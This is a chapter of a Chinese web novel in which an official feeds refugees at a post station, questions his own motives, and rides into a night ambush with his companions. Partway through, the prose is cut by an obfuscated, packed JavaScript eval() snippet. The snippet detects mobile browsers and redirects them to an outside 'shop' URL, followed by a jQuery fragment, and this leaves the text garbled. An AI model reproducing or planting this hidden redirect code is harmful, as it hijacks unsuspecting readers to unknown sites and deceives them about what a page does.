61. 夜遇变故

作品:《夺友良缘

    五里地,于身虚体弱的灾民而言,或许要蹒跚走上半个多时辰,于车马而言不过一刻钟的距离。


    冬日树木萧索,衬得那座坐落于官道旁的驿站也显得孤零衰败,夯土矮墙覆着稀疏茅草,在寒风中东倒西歪,门檐下挂着一盏昏黄的驿灯,随风吹得晃荡不止。


    马厩里拴着十来匹驿马,正低头无聊地嚼着干草,喷出的白气在冷空气中一团团散开。


    出示勘合后,驿丞便依照正六品官员的待遇,为他们一行人安排了一间次等的上房兼左右两间偏房。


    待要为他们安排餐食时,章舜顷却发话道,“荤菜素菜都不要,只要一大锅热粥,越稠越好,越满越好。”


    驿丞一愣,忍不住“啊”了一声,脸上写满困惑。


    弗筠抄着胳膊,下巴微扬,摆出一副不容置疑的神气,“我家大人就爱喝粥,一人能喝两大锅,你有意见?”


    饭量被迫膨胀的章舜顷不由挑了挑眉,但他的舌尖来回品味着“我家大人”这个称呼,只觉口中清甜留香,唇角飞扬道,“是,两大锅,可不能少了。”


    驿丞迎来送往这么多年,也接待过不少脾气古怪的官员。


    相比起那些动不动就超标索要全牛全羊宴的老饕而言,爱喝粥这点喜好便显得不足为奇了。


    米总归比肉便宜,他心里算了算,这餐还能匀下点儿油水来中饱私囊,遂按下心头疑惑照办。


    两大锅热气腾腾的白粥熬好后,驿丞却发了愁。


    他总不能原模原样将两个大铁锅端到上房去吧?可是一碗一碗地舀,这得舀到猴年马月去?


    只能再去请示那位饭量奇大的通判主意。


    章舜顷沉思片刻道,“我们自去后厨享用便可,不劳你费心了。天色不早,你们歇息便是。”


    对方既是位省心的主儿,驿丞自是求之不得,能得空偷懒谁又会主动找活儿干呢?


    目下已夜色如墨,他便乐呵呵回了值房。


    因方便接待官员,驿丞所住的青瓦小屋,就在紧邻驿门院落的西厢房,是出入驿站的必经之地,连官道上的动静都听得一清二楚。


    他正准备上榻休息时,忽听见门外有人声传来,混杂熙攘,似乎数量颇众。


    定是那帮苍蝇般挥也挥不散的流民。


    他愤然起床,草草穿上衣裳,吆喝一众驿卒,提刀准备赶人。


    驿门一开,他却被眼前景象惊呆了。


    那两口好端端地放在灶台上的大铁锅被搬到了驿站前,橱柜上的碗筷齐整整地摞在铁锅两侧。


    跟通判随行的两位姑娘正握着长柄勺舀粥,一帮破衣烂衫的流民排成两列整整齐齐的队伍,个个伸长脖颈,眼巴巴地望着那两口锅,不时咽着唾沫。


    而那位通判和另外两位男子不断在队伍中巡视,时不时以剑鞘轻点地面,威慑着任何蠢蠢欲动想插队的人。


    “张大人,您这是干什么呢?”驿丞只觉得脑袋“嗡”地一下大了。


    章舜顷回过身来,神色如常道,“你们熬的粥不合我胃口,扔了也是浪费,不如散出去,也算物尽其用。”


    驿丞上前将他拉到一侧,为难道,“张大人,您是不知这帮流民认主得很,施舍了第一回就有第二回,您明日就离开此地了,可我们不得接下这烂摊子么?他们要是天天赖在这里,那官驿还开不开了?您也体恤体恤我们……”


    “你放心,他们明日就去投奔截云寨的山大王了。”


    驿丞挠了挠头,“那不是一帮起义的红莲教匪徒么?”


    章舜顷唇角扯起一抹极淡的嘲讽,“是啊,谁能想到如今这世道,走投无路的百姓,竟沦落到要跟匪徒求一□□命粮的地步了。”


    驿丞仍是不松口,“可是……谁知道他们说话算不算数……”


    章舜顷瞄了眼驿门前十来号手持短刀的驿卒,冷笑道,“你们兵强马壮的,难道还怕一帮手无寸铁、饥寒交迫的流民?”


    “这……”


    驿丞仍要说话,被章舜顷截断道,“粥已经散完了,你再多说也是无用。他们究竟走不走,明日就见分晓了。”


    驿丞回头,便见两口白粥满溢的铁锅,现下已空空如也,连边缘凝结的薄如蝉翼的锅巴,也被手快的流民小心揭下,珍重地塞入口中细细咀嚼。


    瓷碗被舔得干干净净,像是未曾使用过一般。


    流民们千恩万谢后,便互相依偎着,蜷缩在背风的墙根下,裹紧身上褴褛单薄的衣裳,准备就此歇下。


    人只要肚子里有了点暖食,似乎连凛冽的寒风都不那么难熬了。


    他们一排排坐着,像是墙根下生长出的一溜顽草,任凭风吹雨打,根系依然倔强地扎进砖石缝隙里。只需一点微不足道的日光雨露滋润,便能挣扎着冒出点翠绿的生气来。


    如练月光柔和洒落,在一张张面黄肌瘦、沟壑纵横的脸上,映出些许罕见的、静谧安详的光晕,让人觉得好梦可盼、明日可期。


    章舜顷静静望着这一幕,心中五味翻涌。


    他不过是依仗官身施舍了一点小恩小惠,竟也能带来雪中送炭般的暖意。


    夜色中,他不免思索起自己为官的初心来。


    往昔,他操持权柄,大刀阔斧,行事往往追求斩草除根,雷厉风行之下,杀伤无数。


    其中究竟有几成是为了一己的政绩与官场声望,又有几成是真的为民请命、解民倒悬?


    他一直以为自己是后者,可北上这一路走来,见证底层辛酸不易,那原本坚定不移的念头开始轻轻动摇,颤颤巍巍,至今几乎要山崩地裂。


    因怕弗筠介意,他故意藏起自己的嫌弃、不悦、不满甚至怨怼,换上一层处变不惊的皮。


    他伪装得很像,骗过了弗筠,可骗不过他自己。


    毕竟那些阴暗的念头,确确实实存在过他的心中。


    他一度不解为何有人会把自己的日子活得那般糟糕,认为十有八九必是奸懒馋滑所致,甚至有时想他们活该如此。


    说是为民请命,他心里其实连真正的“民”都看不起。


    他是天之骄子,与民之间隔着万丈深的鸿沟,偶尔一时兴起施舍些嗟来之食,享受众人拥趸,好似那时“民”才重要。


    或许正如金陵百姓所议论得那般,他跟父亲章守约是一样的,权术之欲大过治世之心。


    对自我的认知被颠覆后,他竟生出些无措之感。


    仿佛忙碌了大半辈子精心铸造的华丽宫舍突然崩塌坍圮,眼前只剩一片废墟,他不知该如何重建,充盈胸腔的尽是无从下手的茫然。


    “大人?”


    突然,一只手在他眼前晃了晃,他的眼眸稍微动了动。


    弗筠不知何时已走到他身侧,正歪着头探看他,“发什么呆呢?他们都去刷碗了,大人难不成要偷懒?”


    章舜顷如遭当头棒喝,灵台清明。


    是了,何必空对着废墟惘然?路总是在脚下,一步步走出来的。


    他兴奋地抚掌道,“对,先从刷碗开始。”


    弗筠满脸疑惑,“啊?”


    章舜顷并不解释,只深深看她一眼,伸手轻轻揽过她的肩头,回了驿馆。


    厨房院子里,陆炳和卫骁已刷洗完两口沉甸甸的铁锅,正埋头对付那两摞半人高的碗碟。木桶里的井水冒着寒气,凌仙蹲在一旁,将刷好的碗一只只沥干余水。


    弗筠自然加入凌仙的行列,余光瞥见章舜顷挽起袖子,略一迟疑,便学着陆炳的样子拿起碗和抹布,起初动作有些生疏僵硬,很快便找到了窍门。


    冬日的井水寒凉刺骨,不多时,他原本修长白皙的双手也已冻得通红,骨节分明。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17106922|193548||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    但他不再如往日那般紧抿着唇强作从容,反倒真有些乐在其中的意味。


    弗筠忍不住浅浅弯了弯唇角。


    还不算冥顽不灵,无药可救。


    等他们将铁锅和碗筷都洗净归位后,月已升到高空,悬在驿馆上空,屋瓦和地上都被洒落一层白霜。


    几人搓着冻僵的手,呵着白气,准备回驿舍歇息,寂静的深夜里,旁边马厩突然响起马匹响鼻。


    弗筠便往旁边马厩处扫了一眼,眸光一一掠过驿马,突然轻声开口道,“是不是少了一匹马?”


    闻言,几人纷纷望向马厩,心中默数,发现却如弗筠所言。


    谁会趁着夜色赶路呢?


    他们面面相视,皆面沉如水。


    “情况不对,我们要不要夤夜离开?”卫骁开口道。


    章舜顷看向陆炳和卫骁,问道,“你们熟悉这里的路么?”


    陆炳和卫骁面面相觑,都摇了摇头。


    他们此行,所见沿路之景,几乎都是一望无垠的平原,冬日草木稀疏,连遮挡之物都没有,更何况今夜月色如此之好,若是莽头逃亡,简直就是自曝行踪。


    弗筠沉吟道,“我们或许可以问问那帮流民。”


    章舜顷点了点头,“好。”


    生恐打草惊蛇,他们特意从后门绕至驿馆门前。


    那帮流民仍靠墙睡着,但毕竟露宿街头,又是寒意瑟瑟,睡得并不安稳,听到脚步声趋近,便有人睁开了眼,见来人是那帮施舍白粥的年青人,眸中的警惕之意瞬间消散。


    听明他们的来意后,一个年纪稍长的干瘦老汉挣扎着坐起身,热心地指着西北方向,“往那边,约莫二十里地,有一片低矮的山地,山坳子多,能藏身……”


    几人道谢后,不再耽搁,立刻返回住处,简单收拾紧要行囊。弗筠和凌仙正欲爬上那辆马车,章舜顷便对卫骁说,“别用马车了,骑马快一些。”


    弗筠下意识回道,“可是我们不会骑马。”


    “又没说让你骑,上来。”章舜顷跨在马背上,冲她伸手。


    弗筠稍作犹豫,便将手心递给了他,身子骤然腾空,后背贴上温热紧实的胸膛,马鞍却有些硌得慌,她挪了几下都没找到舒服的坐姿。


    “老实点。”耳边传来低沉的声音,她便不再动。


    凌仙也红着脸,被陆炳半扶半抱地弄上了马背,卫骁索性直接挑了匹驿站里的快马。


    一行人不再迟疑,沿着驿馆后门的偏僻小路,冲入沉沉的夜色,直往西北方向而去。


    月光毫无遮拦地泼洒下来,将荒野照得一片惨白。寒风像刀子一样刮过脸颊,钻进衣领袖口,带走身上仅存的热气。


    弗筠紧紧靠在章舜顷怀中,心随着马匹的奔腾而狂跳。


    终于,一片黑魆魆的山影在前方浮现。靠近了才看清,两侧山脉虽不高,却陡峭,岩石裸露,草木稀疏。


    两山相距极近,中间只裂开一道狭窄的缝隙,便是入口。在月光下像一张巨兽咧开的黑口,仿佛要将人吞没。


    弗筠心里有股莫名的不安,忍不住向后缩了缩,手指无意识地攥紧了章舜顷环在她身前的手臂。


    “别怕,有我在呢。”章舜顷贴着她耳边低语道。


    山坳不宽,三匹马只能一线排开,卫骁在前面打头阵,章舜顷和弗筠居中,陆炳和凌仙殿后。


    寂静深夜,只能听见哒哒的马蹄声,兼有风声呼啸着卷过山坳,近乎人的哀嚎,狭道风劲颇足,吹得人面目生寒,如同被刀剌了一般。


    几人不自觉眯起眼来,马蹄也渐渐放缓。


    不知行过多久,突然,一声突兀的吼叫炸响,紧接着山呼海啸般的吼叫从前后同时爆发,被两侧的山来回荡击,形成一波波的回声。


    他们被前后夹击围堵了起来。